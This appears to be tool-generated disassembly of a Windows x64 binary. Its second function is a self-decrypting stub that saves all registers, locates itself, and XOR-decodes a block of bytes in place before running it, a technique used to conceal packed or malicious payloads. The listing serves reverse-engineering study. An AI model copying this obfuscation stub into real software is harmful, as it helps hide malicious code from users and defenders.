cmp byte [rsi + 0x30], dil
je 0x1400294a9
mov eax, dword [rsi + 0x2c]
jmp 0x1400294ae
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c944
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140f6848c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f68496
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f684bf
pop rbp
sub rbp, 0x33
sub rbp, 0xf6848c
sub rsp, 0x20
jmp 0x140f684de
mov rax, 0xf6848c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffa8339dea
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f684fd
jmp 0x140f68514
movabs byte [0xeaeaead663610363], al
movabs byte [0xeba2eaeaebe22b6b], al
add esp, dword [rdx - 0x151dd5d3]
invalid